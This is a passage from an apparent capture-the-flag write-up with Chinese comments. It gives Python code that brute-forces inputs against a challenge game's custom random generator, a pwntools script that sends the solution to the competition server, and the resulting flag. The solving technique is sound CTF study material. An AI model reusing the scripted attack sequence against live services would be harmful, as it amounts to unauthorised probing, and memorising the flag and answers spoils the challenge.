,0x0,0x0,0x0,0x0,0x36049,0x5d7de,0x1c86c,0x1c7a7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0]
def get_strinput(row):
col=0
s2=[]
while(secret[32*row+col]):
v21=0
v22 = secret[32 * row + col]
while(v22!=1):
if (v22&1):
v22=3*v22+1
else:
v22>>=1
v21+=1
s2.append((v21+0x80)&0xff)
col+=1
# s2.append(0)
return s2
# for i in range(8):
# print((bytes(get_strinput(i))).decode())
'''
出招表
sword
whistle
newspaper
54fcfbc921e8b735
111c7ab93a8cbcae
a8cdae3240310bdd
fist
flee
hints:
a12caf3cba1e5f13
'''
# 展示当前状况
def show():
global currentx,currenty,currentrand
print('currentx:',hex(currentx))
print('currenty:',hex(currenty))
print('currentrand:',hex(currentrand))
# res=myrand(0x42)
# print(res)
# res=getupdateseed(0x332c,0x3a48) 947411131
# res=getweaponseed(0) # 0x65695029
# print(hex(res))
def get_input(wtype):
for i1 in range(0x21,0x7f):
for i2 in range(0x21,0x7f):
for i3 in range(0x21,0x7f):
for i4 in range(0x21,0x7f):
input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4
seed=input_value^currentrand
rand1,rand2=myrand(input_value^currentrand)
if rand1&0xffff<0x8000 and rand2&0xffff<0x8000:
realx=(currentx+rand1)&0xffff
realy=(currenty+rand2)&0xffff
andorxy=((realx & realy)+(realx | realy))&0xffff
xorvy=(realx ^ realy)&0xffff
imuxy=(realx * realy)&0xffff
sumxy=(andorxy + xorvy + imuxy)&0xffff
if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15):
continue
if((realx^realy)&7) and ((realx^realy)%8==1):
if(((realx^realy)>>3)&3==wtype):
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2))
return 0
return -1
def get_update_input():
for i1 in range(0x21,0x7f):
for i2 in range(0x21,0x7f):
for i3 in range(0x21,0x7f):
for i4 in range(0x21,0x7f):
input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4
seed=input_value^currentrand
rand1,rand2=myrand(input_value^currentrand)
if rand1&0xffff<0x8000 and rand2&0xffff<0x8000:
realx=(currentx+rand1)&0xffff
realy=(currenty+rand2)&0xffff
andorxy=((realx & realy)+(realx | realy))&0xffff
xorvy=(realx ^ realy)&0xffff
imuxy=(realx * realy)&0xffff
sumxy=(andorxy + xorvy + imuxy)&0xffff
if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15):
continue
if realx== 0x8b6 and realy== 0x6dac:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2))
print("type:0")
continue
if realx== 0x2f58 and realy== 0x46fb:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2))
print("type:1")
continue
if realx== 0xa439 and realy== 0xbc55:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2))
print("type:2")
continue
# v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0
# v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1
# v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2
return -1
# 缓慢靠近 y
def get_slow_update_input_y(diff):
global currentrand
for i1 in range(0x21,0x7f):
for i2 in range(0x21,0x7f):
for i3 in range(0x21,0x7f):
for i4 in range(0x21,0x7f):
input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4
seed=input_value^currentrand
rand1,rand2=myrand(seed)
if (rand1&0xffff)>0x7fff and (rand2&0xffff)==diff:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(rand1),hex(rand2))
return 0
# v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0
# v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1
# v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2
return -1
# 缓慢靠近 x
def get_slow_update_input_x(diff):
global currentrand
for i1 in range(0x21,0x7f):
for i2 in range(0x21,0x7f):
for i3 in range(0x21,0x7f):
for i4 in range(0x21,0x7f):
input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4
seed=input_value^currentrand
rand1,rand2=myrand(seed)
if (rand1&0xffff)>0x7fff:
continue
if (rand1&0xffff)==diff and (rand2&0xffff)>0x7fff:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(rand1),hex(rand2))
return 0
# v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0
# v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1
# v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2
return -1
def get_update_xy(diff):
global currentrand
for i1 in range(0x21,0x7f):
for i2 in range(0x21,0x7f):
for i3 in range(0x21,0x7f):
for i4 in range(0x21,0x7f):
input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4
seed=input_value^currentrand
rand1,rand2=myrand(seed)
if (rand1&0xffff)>0x7fff:
continue
if (rand1&0xffff)==diff and (rand2&0xffff)<0x8000:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(rand1),hex(rand2))
return 0
# v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0
# v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1
# v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2
return -1
def get_weeb():
for i1 in range(0x21,0x7f):
for i2 in range(0x21,0x7f):
for i3 in range(0x21,0x7f):
for i4 in range(0x21,0x7f):
input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4
seed=input_value^currentrand
rand1,rand2=myrand(input_value^currentrand)
if rand1&0xffff<0x8000 and rand2&0xffff<0x8000:
realx=(currentx+rand1)&0xffff
realy=(currenty+rand2)&0xffff
andorxy=((realx & realy)+(realx | realy))&0xffff
xorvy=(realx ^ realy)&0xffff
imuxy=(realx * realy)&0xffff
sumxy=(andorxy + xorvy + imuxy)&0xffff
if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15):
continue
if((realx^realy)&7)==0:
print(hex(input_value))
print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/")
print(hex(seed),hex(rand1),hex(rand2))
print(hex(realx),hex(realy))
return 0
return -1
# get_input(0) #0x21212f22 "/!! get sword
input1=0x21212f22
new_seed=currentrand^input1
res=myrand_5(new_seed)
# print(res)
# updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
currenty=(currenty+eval(res[1]))&0xffff
# print(hex(currentrand),hex(currentx),hex(currenty))
# get_input(1) #0x21213059 Y0!! get newspaper
input2=0x21213059
new_seed=currentrand^input2
res=myrand_5(new_seed)
# print(res)
# updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
currenty=(currenty+eval(res[1]))&0xffff
# get_input(2) #0x2121237d }#!! get whistle
input3=0x2121237d
new_seed=currentrand^input3
res=myrand_5(new_seed)
# print(res)
# updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
currenty=(currenty+eval(res[1]))&0xffff
# show()
# get_update_input()
# get_slow_update_input_y(0x2335) # 0x21214365 eC!!
input4=0x21214365
new_seed=currentrand^input4
res=myrand_5(new_seed)
# print(res)
# updatestate(0x65695029)
currentrand=eval(res[4])
currenty=(currenty+eval(res[1]))&0xffff
# show()
# get_slow_update_input_x(0x7888) # 0x21235c52 R\#!
input5=0x21235c52
new_seed=currentrand^input5
res=myrand_5(new_seed)
# print(res)
# updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
# show()
# get_slow_update_input_x(0x7888) # 0x21283a31 1:(!
input6=0x21283a31
new_seed=currentrand^input6
res=myrand_5(new_seed)
# print(res)
# updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
# show() 0xa439 0xbc55
# now() 0x88b6 0xedac
#diff() 0x1b83 0xcea9
# get_update_xy(0x1b83)
# get_input(3)
# get_weeb() # 0x2121266d m&!!
input7=0x2121266d # defeat weed
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
currenty=(currenty+eval(res[1]))&0xffff
# show()
# 0x2439 0x3c55
# get_slow_update_input_x(0x2439-0x7ca) # 0x2431212d -!1$/
input7=0x2431212d
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
# currenty=(currenty+eval(res[1]))&0xffff
# show()
# get_slow_update_input_y(0x3c55-0x161a) # 0x21214b4f OK!!
input7=0x21214b4f
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currenty=(currenty+eval(res[1]))&0xffff
# show()
# currentx: 0x2439
# currenty: 0x3c55
# 0x2f58 0x46fb
# get_slow_update_input_x(0x2f58-0x2439) # 0x50244650 PF$P
# 0x50244650
# PF$P/
# 0x21ddf283 0x3c460b1f 0x6ce1aa8e
input7=0x50244650
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
# show()
#currentx: 0x2f58
# currenty: 0x3c55
# get_slow_update_input_y(0x3c55-0x161a) # 0x21214b4f OK!!
# get_slow_update_input_y(0x46fb-0x3c55) 0x2128583e >X(!
input7=0x2128583e
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currenty=(currenty+eval(res[1]))&0xffff
# show()
# currentx: 0x2f58
# currenty: 0x46fb
# currentrand: 0x4e09f8d1
# 0xb32c 0xba48 diff:0x71c
# get_slow_update_input_x(0xb32c-0x2f58)
# get_slow_update_input_y(0xba48-0x46fb)
# 0x21372346
# F#7!/
# 0x6f3edb97 0x37f63b6a 0x3a18734d
input7=0x21372346
new_seed=currentrand^input7
res=myrand_5(new_seed)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
currenty=(currenty+eval(res[1]))&0xffff
# show()
# get_slow_update_input_x(0xb32c-0x6ac2) # 0x3124464e NF$1 0x5023705e ^p#P
input7=0x3124464e
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
# show()
# currentx: 0xb32c
# currenty: 0xba48
# currentrand: 0x3d1980b4
# get_slow_update_input_x(0x10000-0xb32c) # 0x50216172 ra!P
# get_slow_update_input_y(0x10000-0xba48)
input7=0x50216172
new_seed=currentrand^input7
# print(hex(new_seed))
res=myrand_5(new_seed)
# print(res)
# # updatestate(0x65695029)
currentrand=eval(res[4])
currentx=(currentx+eval(res[0]))&0xffff
# show()
# get_slow_update_input_y(0x10000-0xba48) # 0x30214f62 bO!0
input7=0x30214f62
new_seed=currentrand^input7
res=myrand_5(new_seed)
currentrand=eval(res[4])
# currentx=(currentx+eval(res[0]))&0xffff
currenty=(currenty+eval(res[1]))&0xffff
show()
```
pwn提交输入的脚本
```python=
from pwn import *
context.log_level = 'debug'
io=remote("challs.actf.co", 31600) # nc challs.actf.co 31600
# io.interactive()
def go(code):
io.recvuntil(b'> ')
io.sendline(code)
def attack(code):
io.recvuntil(b'Choose your action: ')
io.sendline(code)
codes=[rb'"/!!',rb'Y0!!',rb'}#!!',rb'eC!!',rb'R\#!',rb'1:(!',rb'm&!!',rb'-!1$',rb'OK!!',rb'PF$P',rb'>X(!',rb'F#7!',rb'NF$1',rb'ra!P',rb'bO!0',rb'a12caf3cba1e5f13']
attacks=[rb'54fcfbc921e8b735',rb'111c7ab93a8cbcae',rb'a8cdae3240310bdd',rb'fist']
# io.recvuntil(b'Enter your name: ')
io.sendline(b'song')
for i in range(7):
go(codes[i])
attack(attacks[0])
for i in range(7,14):
go(codes[i])
attack(attacks[0])
go(codes[14])
attack(attacks[0])
go(codes[15])
for i in range(4):
attack(attacks[i])
# io.recv(1024,5)
io.recvuntil(b'!')
```

flag:actf{sorry_guys_no_double_free_this_time}